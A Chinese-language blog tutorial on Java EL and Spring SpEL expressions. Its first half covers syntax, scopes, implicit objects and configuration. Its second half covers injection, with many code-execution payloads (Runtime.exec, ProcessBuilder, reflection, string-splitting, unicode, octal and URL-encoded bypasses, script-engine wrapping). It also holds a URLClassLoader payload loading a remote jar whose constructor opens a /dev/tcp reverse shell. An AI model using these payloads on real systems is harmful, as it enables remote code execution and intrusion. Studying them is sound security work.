Featured image of post EL表达式&&SPEL表达式注入学习

EL表达式&&SPEL表达式注入学习

EL表达式&&SPEL表达式注入学习

EL表达式

语法

EL(全称 Expression Language )表达式语言。

作用:

  • 1.用于简化 JSP 页面内的 Java 代码。
  • 2.主要作用是 获取数据。其实就是从域对象中获取数据,然后将数据展示在页面上。

用法:

要先通过 page 标签设置不忽略 EI 表达式

1
<%@ page contentType="text/html;charset=UTF-8" language="java" isELIgnored="false" %>

语法:

1
${expression}

在 JSP 中我们可以如下写:

${bands}是获取域中存储的 key 作为 bands 的数据。

而 JSP 当中有四大域,它们分别是:

  • page:当前页面有
  • request:当前请求有效
  • session:当前会话有效
  • application:当前应用有效

el 表达式获取数据,会依次从这 4 个域中寻找,直到找到为止,这四个域的大小是逐渐增大,而且是包含关系

例如: ${bands},el 表达式获取数据,会先从 page 域对象中获取数据,如果没有再到 request 域对象中获取数据,如果再没有再到 session 域对象中获取,如果还没有才会到 application 中获取数据。

demo

要使用 EL 表达式来获取数据,需要按照顺序完成以下几个步骤。

  • 获取到数据,比如从数据库中拿到数据
  • 将数据存储到 request 域中
  • 转发到对应的 jsp 文件中

先定义一个 Servlet

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
@WebServlet("/demo1")
public class ServletDemo1 extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        //1. 准备数据
        List<Brand> brands = new ArrayList<Brand>();
        brands.add(new Brand(1,"三只松鼠","三只松鼠",100,"三只松鼠,好吃不上火",1));
        brands.add(new Brand(2,"优衣库","优衣库",200,"优衣库,服适人生",0));
        brands.add(new Brand(3,"小米","小米科技有限公司",1000,"为发烧而生",1));
 
        //2. 存储到request域中
        request.setAttribute("brands",brands);
 
        //3. 转发到 el-demo.jsp
        request.getRequestDispatcher("/el-demo.jsp").forward(request,response);
    }
 
    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.doGet(request, response);
    }
}

通过转发,我们才可以使用 request 对象作为域对象进行数据共享

el-demo.jsp 中通过 EL表达式 获取数据

访问 /demo1 接口,是可以成功读到数据的。这里的 Demo 其实是 EL 表达式的一小部分,${expression} 是 EL 表达式的变量

运算符

存取数据的运算符

EL表达式提供 .[] 两种运算符来存取数据。

当要存取的属性名称中包含一些特殊字符,如 .- 等并非字母或数字的符号,就一定要使用 []。例如:${user.My-Name} 应当改为 ${user["My-Name"]}

如果要动态取值时,就可以用 [] 来做,而 . 无法做到动态取值。例如:${sessionScope.user[data]} 中data 是一个变量。

empty 运算符

empty 用来判断 EL 表达式中的对象或者变量是否为空。若为空或者 null,返回 true,否则返回 false。

条件运算符

EL 表达式中,条件运算符的语法和 Java 的完全一致,如下:

1
${条件表达式?表达式1:表达式2}

变量

EL 表达式存取变量数据的方法很简单,例如:${username}。它的意思是取出某一范围中名称为 username 的变量。因为我们并没有指定哪一个范围的 username,所以它会依序从 Page、Request、Session、Application 范围查找。假如途中找到 username,就直接回传,不再继续找下去,但是假如全部的范围都没有找到时,就回传 ""

EL表达式的属性如下:

四大域 域在EL中的名称
Page PageScope
Request RequestScope
Session SessionScope
Application ApplicationScope

JSP 表达式语言定义可在表达式中使用的以下文字:

文字 文字的值
Boolean true 和 false
Integer 与 Java 类似。可以包含任何整数,例如 24、-45、567
Floating Point 与 Java 类似。可以包含任何正的或负的浮点数,例如 -1.8E-45、4.567
String 任何由单引号或双引号限定的字符串。对于单引号、双引号和反斜杠,使用反斜杠字符作为转义序列。必须注意,如果在字符串两端使用双引号,则单引号不需要转义。
Null null

操作符

JSP 表达式语言提供以下操作符,其中大部分是 Java 中常用的操作符:

术语 定义
算术型 +、-(二元)、*、/、div、%、mod、-(一元)
逻辑型 and、&&、or、双管道符、!、not
关系型 ==、eq、!=、ne、<、lt、>、gt、<=、le、>=、ge。可以与其他值进行比较,或与布尔型、字符串型、整型或浮点型文字进行比较。
empty 空操作符是前缀操作,可用于确定值是否为空。
条件型 A ?B :C。根据 A 赋值的结果来赋值 B 或 C。

隐式对象

JSP 表达式语言定义了一组隐式对象,其中许多对象在 JSP和表达式中可用:

术语 定义
pageContext JSP页的上下文,可以用于访问 JSP 隐式对象,如请求、响应、会话、输出、servletContext 等。例如,${pageContext.response}为页面的响应对象赋值。

此外,还提供几个隐式对象,允许对以下对象进行简易访问:

术语 定义
param 将请求参数名称映射到单个字符串参数值(通过调用 ServletRequest.getParameter (String name) 获得)。getParameter (String) 方法返回带有特定名称的参数。表达式${param.name}相当于 request.getParameter (name)。
paramValues 将请求参数名称映射到一个数值数组(通过调用 ServletRequest.getParameter (String name) 获得)。它与 param 隐式对象非常类似,但它检索一个字符串数组而不是单个值。表达式 ${paramvalues.name} 相当于 request.getParamterValues(name)。
header 将请求头名称映射到单个字符串头值(通过调用 ServletRequest.getHeader(String name) 获得)。表达式 ${header.name} 相当于 request.getHeader(name)。
headerValues 将请求头名称映射到一个数值数组(通过调用 ServletRequest.getHeaders(String) 获得)。它与头隐式对象非常类似。表达式${headerValues.name}相当于 request.getHeaderValues(name)。
cookie 将 cookie 名称映射到单个 cookie 对象。向服务器发出的客户端请求可以获得一个或多个 cookie。表达式${cookie.name.value}返回带有特定名称的第一个 cookie 值。如果请求包含多个同名的 cookie,则应该使用${headerValues.name}表达式。
initParam 将上下文初始化参数名称映射到单个值(通过调用 ServletContext.getInitparameter(String name) 获得)。

除了上述两种类型的隐式对象之外,还有些对象允许访问多种范围的变量,如 Web 上下文、会话、请求、页面:

术语 定义
pageScope 将页面范围的变量名称映射到其值。例如,EL 表达式可以使用${pageScope.objectName}访问一个 JSP 中页面范围的对象,还可以使用${pageScope.objectName.attributeName}访问对象的属性。
requestScope 将请求范围的变量名称映射到其值。该对象允许访问请求对象的属性。例如,EL 表达式可以使用${requestScope.objectName}访问一个 JSP 请求范围的对象,还可以使用${requestScope.objectName.attributeName}访问对象的属性。
sessionScope 将会话范围的变量名称映射到其值。该对象允许访问会话对象的属性。例如:${sessionScope.name}
applicationScope 将应用程序范围的变量名称映射到其值。该隐式对象允许访问应用程序范围的对象。

pageContext

pageContext 对象是 JSP 中 pageContext 对象的引用。通过 pageContext 对象,您可以访问 request 对象。比如,访问 request 对象传入的查询字符串

1
${pageContext.request.queryString}

也就是返回?后面的字段

Scope

pageScope,requestScope,sessionScope,applicationScope 变量用来访问存储在各个作用域层次的变量。

举例来说,如果您需要显式访问在 applicationScope 层的 box 变量,可以这样来访问:

1
applicationScope.box

param 和 paramValues

param 和 paramValues 对象用来访问参数值,通过使用 request.getParameter 方法和 request.getParameterValues 方法。

举例来说,访问一个名为order的参数,可以这样使用表达式:

1
${param.order}或者${param["order"]}

header 和 headerValues

header 和 headerValues 对象用来访问信息头,通过使用 request.getHeader() 方法和 request.getHeaders() 方法。

举例来说,要访问一个名为 user-agent 的信息头,可以这样使用表达式:${header.user-agent},或者 ${header["user-agent"]}

函数

EL允许您在表达式中使用函数。这些函数必须被定义在自定义标签库中。函数的使用语法如下:

1
${ns:func(param1, param2, ...)}

ns 指的是命名空间(namespace),func 指的是函数的名称,param1 指的是第一个参数,param2 指的是第二个参数,以此类推。比如,有函数 fn:length,在 JSTL 库中定义,可以像下面这样来获取一个字符串的长度:

1
${fn:length("Get my length")}

调用java方法

先新建一个 ELFunc 类,其中定义的 doSomething() 方法用于给输入的参数字符拼接 ".com" 形成域名返回:

1
2
3
4
5
public class ELFunc {
    public static String doSomething(String str){
        return str + ".com";
    }
}

接着在 WEB-INF 文件夹下(除 lib 和 classess 目录外)新建 test.tld 文件,其中指定执行的 Java 方法及其 URI 地址:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<?xml version="1.0" encoding="UTF-8"?>  
<taglib version="2.0" xmlns="http://java.sun.com/xml/ns/j2ee"  
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
 xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd">  
    <tlib-version>1.0</tlib-version>  
    <short-name>ELFunc</short-name>  
    <uri>http://localhost/ELFunc</uri>  
    <function>  
        <name>doSomething</name>  
        <function-class>com.test.basicjsp.web.ELFunc</function-class>  
        <function-signature> java.lang.String doSomething(java.lang.String)</function-signature>  
    </function>  
</taglib>

JSP 文件中,先头部导入 taglib 标签库,URI 为 test.tld 中设置的 URI 地址,prefix 为 test.tld 中设置的 short-name,然后直接在 EL 表达式中使用 类名:方法名() 的形式来调用该类方法即可:

1
2
<%@taglib uri="http://localhost/ELFunc" prefix="ELFunc"%>  
${ELFunc:doSomething("test")}

禁用el表达式

web.xml 中进入如下配置:

1
2
3
4
5
6
<jsp-config>
    <jsp-property-group>
        <url-pattern>*.jsp</url-pattern>
        <el-ignored>true</el-ignored>
    </jsp-property-group>
</jsp-config>

在JSP文件中可以有如下定义:

1
<%@ page isELIgnored="true" %>

EL表达式注入漏洞

表达式外部可控导致攻击者注入恶意表达式实现任意代码执行。

一般的,EL表达式注入漏洞的外部可控点入口都是在 Java 程序代码中,即 Java 程序中的EL表达式内容全部或部分是从外部获取的。

POC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)
${pageContext}

//获取Web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

//文件头参数
${header}

//获取webRoot
${applicationScope}

//执行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}

但是在实际场景中,是几乎没有也无法直接从外部控制 JSP 页面中的 EL表达式的。

JUEL

现在 EL 表达式所依赖的包 javax.el 等都在 JUEL 相关的 jar 包中。

JUEL(Java Unified Expression Language)是统一表达语言轻量而高效级的实现,具有高性能,插件式缓存,小体积,支持方法调用和多参数调用,可插拔多种特性。

需要的 jar 包:juel-api-2.2.7、juel-spi-2.2.7、juel-impl-2.2.7。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;

import javax.el.ExpressionFactory;
import javax.el.ValueExpression;

public class juelExec {
    public static void main(String[] args) {
        ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
        SimpleContext simpleContext = new SimpleContext();
        // failed  
        // String exp = "${''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')}"; 
        // ok 
         String exp = "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}";  
        ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class);
        System.out.println(valueExpression.getValue(simpleContext));
    }
}

bypass

利用 ScriptEngine 调用 JS 引擎绕过
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;

import javax.el.ExpressionFactory;
import javax.el.ValueExpression;

public class ScriptEngineExec {
    public static void main(String[] args) {
        ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
        SimpleContext simpleContext = new SimpleContext();
        String exp = "${''.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('Calc.exe')\")}\n" +" ";
        ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class);
        System.out.println(valueExpression.getValue(simpleContext));
    }
}
unicode编码绕过
1
2
// Unicode编码内容为前面反射调用的PoC
\u0024\u007b\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0027\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0027\u0065\u0078\u0065\u0063\u0027\u002c\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0027\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0027\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u006e\u0075\u006c\u006c\u0029\u002c\u0027\u0063\u0061\u006c\u0063\u002e\u0065\u0078\u0065\u0027\u0029\u007d
八进制绕过
1
2
3
4
5
6
str = "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}"
result = ""
for s in str:
  num = "\\" + oct(ord(s))
  result += num
print(result.replace("\\0", "\\"))

spEL表达式

在 Spring3 中引入了 Spring 表达式语言(Spring Expression Language,简称 SpEL),这是一种功能强大的表达式语言,支持在运行时查询和操作对象图,可以与基于 XML 和基于注解的 Spring 配置还有 bean 定义一起使用。

在 Spring 系列产品中,SpEL 是表达式计算的基础,实现了与 Spring 生态系统所有产品无缝对接。Spring 框架的核心功能之一就是通过依赖注入的方式来管理 Bean 之间的依赖关系,而 SpEL 可以方便快捷的对 ApplicationContext 中的 Bean 进行属性的装配和提取。由于它能够在运行时动态分配值,因此可以为我们节省大量 Java 代码。

SpEL 有许多特性:

  • 使用 Bean 的 ID 来引用 Bean
  • 可调用方法和访问对象的属性
  • 可对值进行算数、关系和逻辑运算
  • 可使用正则表达式进行匹配
  • 可进行集合操作

SpEL 定界符 —— #{}

SpEL 使用 #{} 作为定界符,所有在大括号中的字符都将被认为是 SpEL 表达式,在其中可以使用 SpEL 运算符、变量、引用 Bean 及其属性和方法等。

这里需要注意 #{}${} 的区别:

  • #{} 就是 SpEL 的定界符,用于指明内容为SpEL 表达式并执行;
  • ${} 主要用于加载外部属性文件中的值;
  • 两者可以混合使用,但是必须 #{} 在外面,${} 在里面,如 #{'${}'},注意单引号是字符串类型才添加的;

SpEL 表达式类型

最简单的 SpEL 表达式就是仅包含一个字面值。

下面我们在 XML 配置文件中使用 SpEL 设置类属性的值为字面值,此时需要用到 #{} 定界符,注意若是指定为字符串的话需要添加单引号括起来:

1
2
<property name="message1" value="#{666}"/>
<property name="message2" value="#{'John'}"/>

还可以直接与字符串混用:

1
<property name="message" value="the value is #{666}"/>

Java 基本数据类型都可以出现在 SpEL 表达式中,表达式中的数字也可以使用科学计数法:

1
<property name="salary" value="#{1e4}"/>

demo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
package org.example.speltest;

public class helloWorld {
    private String message;

    public void setMessage(String message){
        this.message  = message;
    }

    public void getMessage(){
        System.out.println("Your Message : " + message);
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
package org.example.speltest;

import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class TestDemo {
    public static void main(String[] args) {
        ApplicationContext context = new ClassPathXmlApplicationContext("Demo.xml");
        helloWorld helloWorld = context.getBean("helloWorld", helloWorld.class);
        helloWorld.getMessage();
    }
}

然后带spel表达式的xml放在resources里面

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="helloWorld" class="org.example.speltest.helloWorld">
        <property name="message" value="#{'Ciallo'} is #{666}"/>
    </bean>
</beans>

image-20251107205808136

引用Bean、属性和方法

引用 Bean

SpEL 表达式能够通过其他 Bean 的 ID 进行引用,直接在 #{} 符号中写入 ID 名即可,无需添加单引号括起来。

原来是

1
<constructor-arg ref="test"/>

spel是

1
<constructor-arg value="#{test}"/>
引用类属性

SpEL 表达式能够访问类的属性

1
2
3
4
5
6
7
<bean id="kenny" class="com.spring.entity.Instrumentalist"
    p:song="May Rain"
    p:instrument-ref="piano"/>
<bean id="Drunkbaby" class="com.spring.entity.Instrumentalist">
    <property name="instrument" value="#{kenny.instrument}"/>
    <property name="song" value="#{kenny.song}"/>
</bean>

key 指定 kenny 的 id value 指定 kenny的 song 属性。其等价于执行下面的代码:

1
2
Instrumentalist carl = new Instrumentalist();
carl.setSong(kenny.getSong());
引用类方法

SpEL 表达式还可以访问类的方法。

例如这里可以直接在表达式里面用转大写方法

1
<property name="song" value="#{SongSelector.selectSong()?.toUpperCase()}"/>

为了防止抛出空指针,?. 符号会确保左边的表达式不会为 null,如果为 null 的话就不会调用 toUpperCase() 方法了。

类类型表达式 T(Type)

在 SpEL 表达式中,使用 T(Type) 运算符会调用类的作用域和方法。换句话说,就是可以通过该类类型表达式来操作类。

使用 T(Type) 来表示 java.lang.Class 实例,Type 必须是类全限定名,但 ”java.lang” 包除外,因为 SpEL 已经内置了该包,即该包下的类可以不指定具体的包名;使用类类型表达式还可以进行访问类静态方法和类静态字段。

显然可以用Runtime来命令执行

1
2
3
<bean id="helloWorld" class="org.example.speltest.helloWorld">  
    <property name="message" value="#{T(java.lang.Runtime).getRuntime.exec('calc')}" />  
</bean>

如果用ExpressionParser的话

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
package org.example.speltest;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class CalcTest {
    public static void main(String[] args) {
        String expression = "T(java.lang.Runtime).getRuntime().exec('calc')";
        ExpressionParser parser = new SpelExpressionParser();;
        Expression result = parser.parseExpression(expression);
        System.out.println(result.getValue(Class.class));
    }
}

SpEL表达式用法

SpEL 的用法有三种形式,一种是在注解 @Value 中;一种是 XML 配置;最后一种是在代码块中使用 Expression。

注解@Value的写法

1
2
3
4
5
6
7
public class EmailSender {
    @Value("${spring.mail.username}")
    private String mailUsername;
    @Value("#{ systemProperties['user.region'] }")    
    private String defaultLocale;
    //...
}

这些值一般都是写在配置文件里的,重要的是expression写法

SpEL 在求表达式值时一般分为四步,其中第三步可选:首先构造一个解析器,其次解析器解析字符串表达式,在此构造上下文,最后根据上下文得到表达式运算后的值。

1
2
3
4
5
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("('Hello' + ' World').concat(#end)");
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
System.out.println(expression.getValue(context));

1、创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现; 2、解析表达式:使用 ExpressionParserparseExpression 来解析相应的表达式为 Expression 对象; 3、构造上下文:准备比如变量定义等等表达式需要的上下文数据; 4、求值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值;

计算器demo上面写过了,还能类实例化,这里可以用new关键字

1
2
3
4
5
6
7
8
public class newClass {  
    public static void main(String[] args) {  
        String spel = "new java.util.Date()";  
        ExpressionParser parser = new SpelExpressionParser();  
        Expression expression = parser.parseExpression(spel);  
        System.out.println(expression.getValue());  
    }  
}

spel运算方式跟java一模一样就不多说了

集合操作

获取集合的方式都跟el相似,这里用中括号获取

SpEL 表达式中提供了查询运算符来实现查询符合条件的集合成员:

  • .?[]:返回所有符合条件的集合成员;
  • .^[]:从集合查询中查出第一个符合条件的集合成员;
  • .$[]:从集合查询中查出最后一个符合条件的集合成员;
1
2
3
<bean id="listChoseCity" class="com.drunkbaby.service.ListChoseCity">  
    <property name="city" value="#{cities.?[population gt 100000]}" />  
</bean>

像这样就能查询出所有元素

变量定义和引用

在 SpEL 表达式中,变量定义通过 EvaluationContext 类的 setVariable(variableName, value) 函数来实现;在表达式中使用 ”#variableName” 来引用;除了引用自定义变量,SpEL 还允许引用根对象及当前上下文对象:

  • #this:使用当前正在计算的上下文;
  • #root:引用容器的 root 对象;

SpEL表达式注入漏洞

SimpleEvaluationContextStandardEvaluationContext 是 SpEL 提供的两个 EvaluationContext

  • SimpleEvaluationContext : 针对不需要 SpEL 语言语法的全部范围并且应该受到有意限制的表达式类别,公开 SpEL 语言特性和配置选项的子集。
  • StandardEvaluationContext : 公开全套 SpEL 语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

SimpleEvaluationContext 旨在仅支持 SpEL 语言语法的一个子集,不包括 Java 类型引用、构造函数和 bean 引用;而 StandardEvaluationContext 是支持全部 SpEL 语法的。

由前面知道,SpEL 表达式是可以操作类及其方法的,可以通过类类型表达式 T(Type) 来调用任意类方法。这是因为在不指定 EvaluationContext 的情况下默认采用的是 StandardEvaluationContext,而它包含了 SpEL 的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。

反射方式

1
2
3
4
5
6
7
8
public class ReflectBypass {  
    public static void main(String[] args) {  
        String spel = "T(String).getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"calc\")";  
        ExpressionParser parser = new SpelExpressionParser();  
        Expression expression = parser.parseExpression(spel);  
        System.out.println(expression.getValue());  
    }  
}

POC&&bypass

poc:

1
2
3
4
5
6
7
8
9
// PoC原型
 
// Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")
 
// ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()

用processBuilder

1
2
3
4
5
6
7
8
public class ProcessBuilderBypass {  
    public static void main(String[] args) {  
        String spel = "new java.lang.ProcessBuilder(new String[]{\"calc\"}).start()";  
        ExpressionParser parser = new SpelExpressionParser();  
        Expression expression = parser.parseExpression(spel);  
        System.out.println(expression.getValue());  
    }  
}

bypass

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
// Bypass技巧
 
// 反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
 
// 同上,需要有上下文环境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
 
// 反射调用+字符串拼接,绕过如javacon题目中的正则过滤
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
 
// 同上,需要有上下文环境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
 
// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part1
// byte数组内容的生成后面有脚本
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
 
// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part2
// byte数组内容的生成后面有脚本
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))
JavaScript Engine Bypass

获取js引擎所有信息

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
public static void main(String[] args) {
       ScriptEngineManager manager = new ScriptEngineManager();
       List<ScriptEngineFactory> factories = manager.getEngineFactories();
       for (ScriptEngineFactory factory: factories){
               System.out.printf(
                   "Name: %s%n" + "Version: %s%n" + "Language name: %s%n" +
                   "Language version: %s%n" +
                   "Extensions: %s%n" +
                   "Mime types: %s%n" +
                   "Names: %s%n",
                   factory.getEngineName(),
                   factory.getEngineVersion(),
                   factory.getLanguageName(),
                   factory.getLanguageVersion(),
                   factory.getExtensions(),
                   factory.getMimeTypes(),
                   factory.getNames()
               );
       }
}

通过结果中的 Names,我们知道了所有的 js 引擎名称故 getEngineByName 的参数可以填 [nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript]

1
2
3
ScriptEngineManager sem = new ScriptEngineManager();
ScriptEngine engine = sem.getEngineByName("nashorn");
System.out.println(engine.eval("2+1"));

能调用eval方法,也就是上面的poc再套一层js引擎

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
// JavaScript引擎通用PoC
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")
 
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)
 
// JavaScript引擎+反射调用
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)
 
// JavaScript引擎+URL编码
// 其中URL编码内容为:
// 不加最后的getInputStream()也行,因为弹计算器不需要回显
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)

ClassLoader类加载POC&&bypass

URLClassLoader

先构造一份 Exp.jar , 放到远程 vps 即可,.class 也行

一份通过构造方法反弹 shell 的 Exp.java 实例,其实我感觉用javassist同样可行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
public class Exp{
    public Exp(String address){
        address = address.replace(":","/");
        ProcessBuilder p = new ProcessBuilder("/bin/bash","-c","exec 5<>/dev/tcp/"+address+";cat <&5 | while read line; do $line 2>&5 >&5; done");
        try {
            p.start();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

起个端口监听

1
python -m SimpleHTTPServer 8999

payload

1
new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://127.0.0.1:8999/Exp.jar")}).loadClass("Exp").getConstructors()[0].newInstance("127.0.0.1:2333")
AppClassLoader
  • 加载 Runtime 执行

由于需要调用到静态方法所以还是要用到 T() 操作

1
T(ClassLoader).getSystemClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("calc")
  • 加载 ProcessBuilder 执行
1
T(ClassLoader).getSystemClassLoader().loadClass("java.lang.ProcessBuilder").getConstructors()[1].newInstance(new String[]{"open","/System/Applications/Calculator.app"}).start()
内置对象加载URLClassLoader
1
2
3
{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"touch/tmp/foobar\")}

username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf

request、response 对象是 Web 项目的常客,通过第一个 poc 测试发现在 Web 项目如果引入了 SpEL 的依赖,那么这两个对象会自动被注册进去。

使用 Hugo 构建
主题 StackJimmy 设计